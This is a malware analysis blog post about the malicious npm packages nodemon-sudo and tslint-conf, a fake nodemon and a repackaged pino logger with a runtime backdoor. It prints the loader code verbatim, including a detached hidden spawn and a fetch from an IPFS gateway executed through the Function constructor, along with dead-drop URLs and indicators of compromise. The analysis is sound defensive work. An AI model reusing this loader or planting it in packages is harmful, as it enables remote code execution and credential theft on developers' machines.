---
title: "nodemon-sudo: an npm Backdoor With No Install Script"
description: "nodemon-sudo copies the real nodemon byte for byte, adds nothing malicious to its own code, and injects one extra dependency, tslint-conf, a repackaged pino logger carrying a backdoor. There is no install hook. The payload fires only at runtime, one dependency hop away from the package a developer installed."
url: "https://safedep.io/blog/malicious-nodemon-sudo-tslint-conf-npm-backdoor"
author: "SafeDep Team"
published: "2026-07-09"
---

# nodemon-sudo: an npm Backdoor With No Install Script

## TL;DR

`nodemon-sudo` (v3.1.16) is a malicious npm package that impersonates the popular `nodemon` process monitor. It ships an exact copy of real nodemon, adds nothing malicious to its own code, and injects a single extra dependency, `tslint-conf` (v7.2.1). That dependency is a repackaged copy of the `pino` logger carrying a backdoor. The backdoor fetches a second stage from an IPFS gateway and executes it with Node's `require` in scope, which is remote code execution. Neither package runs an install script. The payload fires only when a developer wires the fake logger into an application at runtime. SafeDep classifies both packages as malware at high confidence, and OSV lists `tslint-conf` as `MAL-2026-7022`. Both were published on July 7, 2026 by the npm account `conodeeth` and were live at the time of writing.

**Impact:**

- Remote code execution on the machine running the application, delivered as a second stage fetched at runtime
- No install-time footprint. `npm install` runs no hook, so install-time scanners and `--ignore-scripts` see nothing
- The top-level package a developer installs, `nodemon-sudo`, contains no malicious code, so reviewing it in isolation finds nothing
- The second stage runs with Node's real `require` and real `process`, giving it full filesystem and environment access
- The payload host declares `sqlite3` and `request` as dependencies, pointing at browser cookie and credential database theft in the unfetched second stage (inference from the manifest, not from observed code)

**Indicators of Compromise (IoC):**

| Indicator                         | Value                                                                  |
| --------------------------------- | ---------------------------------------------------------------------- |
| Package (live)                    | `nodemon-sudo` v3.1.16                                                 |
| Package (live)                    | `tslint-conf` v7.2.1                                                   |
| Package (taken down)              | `nodemon-node`, `ts-await` (now `0.0.1-security` holding packages)     |
| npm maintainer                    | `conodeeth` (`coxhazelqja151@outlook.com`)                             |
| Forged author string              | `Alexus111` (`hello@jsonspack.com`), bugs URL `jsonspack[.]com/issues` |
| Second-stage host                 | `hxxps://peach-eligible-penguin-917[.]mypinata[.]cloud/ipfs/`          |
| IPFS CID                          | `bafkreigjnxn5vnn34rc5r43ajwwkmk4akqpm4awmq5gdhakgszpeqiffsu`          |
| Dead drop (new pair)              | `hxxps://jsonkeeper[.]com/b/XRGF3`                                     |
| Dead drop (orphaned / first pair) | `hxxps://jsonkeeper[.]com/b/4NAKK`                                     |
| Request header                    | `x-secret-key: _`                                                      |
| OSV advisory                      | `MAL-2026-7022` (`tslint-conf`)                                        |
| Artifact SHA-256 (nodemon-sudo)   | `aa9b9847e4ffd894a19ec9712848651882b0195de5f4953eef9b47791adddabf`     |
| Artifact SHA-256 (tslint-conf)    | `d4b7add83e5c716b5e52082f713d71ec9d7bfd93e358d500d77c2393302dd004`     |
| Payload SHA-256 (index.js)        | `2956b023858d706a5e241cd28b845088e5f414c5f70bd5d8cb73cb427d081065`     |
| Payload SHA-256 (lib/caller.js)   | `541c35bd90653c9d7f93cdadb7f52c281d7a1375ffc9c0e118cf1d9df977dea7`     |
| Payload SHA-256 (lib/const.js)    | `d10853dde92fdc48d8cb5505d89e0030fd35e1416a16a820fe5ec4aceef01c4f`     |
| Published                         | 2026-07-07, approximately 20:28 to 20:33 UTC                           |

## Analysis

### The carrier is a verbatim copy of nodemon

`nodemon-sudo` is a working copy of nodemon. Its `package.json` keeps the real author string `Remy Sharp`, the real `bin` entry (`bin/nodemon.js`), and every internal `lib` file. The version is `3.1.16`, one bump above real nodemon's current `3.1.14`, which makes it read as ahead of upstream. The only functional change is in the dependency list.

```json
// nodemon-sudo/package.json (dependencies)
"chokidar": "^3.5.2",
"chai": "^4.4.1",
"debug": "^4",
"ignore-by-default": "^1.0.1",
"minimatch": "^10.2.1",
"tslint-conf": "^7.2.1",
"pstree.remy": "^1.1.8",
"semver": "^7.5.3",
"simple-update-notifier": "^2.0.0",
"supports-color": "^5.5.0",
"touch": "^3.1.0",
"undefsafe": "^2.0.5"
}
```

Real nodemon depends on none of `chai` or `tslint-conf`. `chai` is a test framework, out of place as a runtime dependency, and `tslint-conf` is the payload host. Tracing `bin/nodemon.js` through `lib/nodemon.js`, `lib/cli`, `lib/config`, `lib/monitor`, and `lib/utils` shows that nodemon-sudo's own code never imports `tslint-conf`. It does not use the dependency it declares. The package exists to place `tslint-conf` into `node_modules` and to lend it a trusted looking name.

### The payload host is a repackaged pino

The package description reads "This document describes the management of vulnerabilities for the project and all modules within the organization." Its keywords are `fast`, `logger`, `stream`, `json`. The tarball is pino. Every file under `lib/`, the `docs/` tree, and `index.d.ts` are pino's. Three files do not belong to pino: `index.js` (the `main` entry), `lib/caller.js`, and `lib/const.js`.

### The trigger runs at runtime, not at install

`index.js` presents itself as pino-style middleware. It is exported as the default and as a `.pino` property. Requiring the module does nothing. The spawn is reached only when the exported function is called.

```javascript
// tslint-conf/index.js
function runJobA(args) {
  const script = path.resolve(__dirname, './lib/caller.js');

  const child = spawn('node', [script, JSON.stringify(args)], {
    detached: true,
    stdio: 'ignore',
  });

  child.unref(); // allow parent to exit
}

const middleware = (..._args) => {
  runJobA(..._args, defaultOptions);
  return (_req, _res, next) => {
    next();
  };
};

module.exports = middleware;
module.exports.default = middleware;
module.exports.pino = middleware;
```

A developer who drops this in as a logger, for example `app.use(require('tslint-conf')())`, invokes `middleware`, which calls `runJobA`. `runJobA` spawns a detached `node` process on `lib/caller.js` with `stdio` set to `ignore` and calls `child.unref()`, so the parent exits and the child leaves no output.

Neither package declares `preinstall`, `postinstall`, or `prepare`. The author's own `smoke:pino` script (`node ./index.js`) also just loads the module and exits, because loading it does not call `middleware`. Detection that watches install hooks misses this. Detection that watches import-time side effects also misses it, because the trigger is an explicit runtime call to an exported function.

### Stage two fetches from IPFS and evaluates it

When spawned, `lib/caller.js` runs a top-level async IIFE. It requests a JSON document from a Pinata IPFS gateway with the header `x-secret-key: _`, reads the field named `cookie`, compiles it into a function, and calls it.

```javascript
// tslint-conf/lib/caller.js
const axios = require('axios');
const process = {
  env: {
    DEV_API_KEY: 'aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz',
    DEV_SECRET_KEY: 'eC1zZWNyZXQta2V5',
    DEV_SECRET_VALUE: 'Xw==',
  },
};

(async function getCallers(..._args) {
  const src =
    'https://peach-eligible-penguin-917.mypinata.cloud/ipfs/bafkreigjnxn5vnn34rc5r43ajwwkmk4akqpm4awmq5gdhakgszpeqiffsu';
  const k = 'x-secret-key';
  const v = '_';

  let retrycnt = 5;

  while (retrycnt > 0) {
    try {
      const l = console.log;
      const s = (await axios.get(src, { headers: { [k]: v } })).data.cookie;
      const handler = new Function.constructor('require', s);
      handler(require);
      console.log = l;
      break;
    } catch (error) {
      retrycnt--;
    }
  }
})();
```

`new Function.constructor("require", s)` is `new Function("require", s)`. It builds a function whose body is the fetched string `s` and whose single parameter is `require`. Calling `handler(require)` runs the fetched code with the real `require` available, which is remote code execution. Using the `Function` constructor rather than `eval` avoids the literal token that most scanners flag. The loop retries five times, and `console.log` is saved and restored around the call to keep the console quiet.

The `process` object at the top of the file is a local that shadows the global inside this file only. It holds three base64 strings. Decoded, they are a dead drop and the exact header the request uses.

```
aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz => https://jsonkeeper.com/b/XRGF3
eC1zZWNyZXQta2V5                         => x-secret-key
Xw==                                     => _
```

Because the second stage is compiled with `new Function`, it does not see this local object. It sees the real global `process`, so the fetched stealer reads the machine's real environment and files. The block is dead code in this file. It records the operator's setup, and the header name and value in it match the request `getCallers` sends.

### The dead drops tie the campaign together

`lib/const.js` is not imported anywhere in the package. It exports the same shape as the block in `caller.js`, but its base64 points at a second dead drop.

```
aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzROQUtL => https://jsonkeeper.com/b/4NAKK
```

SafeDep's analysis records that this backdoor is byte identical to an earlier package, `nodemon-node`, that used the same Pinata CID and the same `jsonkeeper[.]com/b/XRGF3` endpoint. `nodemon-node` and its partner `ts-await` were the first pair. npm converted both to `0.0.1-security` holding packages. The operator republished the same scheme hours later as `nodemon-sudo` and `tslint-conf`. SafeDep tracks the cluster internally as the `emiltype`/`jsonspack` campaign. The orphaned `const.js` and its second `jsonkeeper[.]com/b/4NAKK` endpoint are reused tooling that link the new pair back to the old one.

### The bundled Windows binary is benign

`nodemon-sudo` ships `bin/windows-kill.exe`, an 80 KB PE32+ binary. Its strings and its embedded PDB path (`E:\windows-kill\x64\Release Lib\windows-kill.pdb`) identify it as the legitimate open source `windows-kill` utility, which sends CTRL+C to a process by PID. It is benign, and it appears here only so responders do not mistake it for the payload. The dangerous code is the JavaScript.

### Attribution

The tradecraft matches a North Korea linked npm cluster documented by JFrog and The Hacker News in July 2026: lookalike names, a `jsonkeeper[.]com` dead drop, a JSON field executed through the `Function` constructor, and no reliance on install hooks. The match is by technique, not by hard indicator. The maintainer is an `outlook.com` address and the forged author points at `jsonspack[.]com`. Treat the link as resemblance, not confirmed attribution. It could be the same operator or a copycat reusing the pattern.

## Conclusion

Most npm malware detection leans on the install hook. This campaign has none. It also survives import-time analysis, because requiring the module is inert. The malicious code runs only when the disguised logger is called at runtime, one dependency hop away from the package the developer chose. The package they installed, `nodemon-sudo`, contains no malicious code.

The signal that still fires is the dependency graph. A process monitor has no reason to depend on a logger it never imports, and that logger has no reason to depend on `sqlite3`, `request`, and `axios` while shipping a few hundred bytes of its own logic that spawn a hidden `node` process. Dependency review and runtime behavior analysis catch this. Name and content reputation on the top-level package do not.

If `nodemon-sudo` or `tslint-conf` reached a machine, treat the host as compromised. Remove both, rotate any credentials and tokens reachable from that host and its environment, and check for outbound requests to `peach-eligible-penguin-917[.]mypinata[.]cloud` and `jsonkeeper[.]com`.
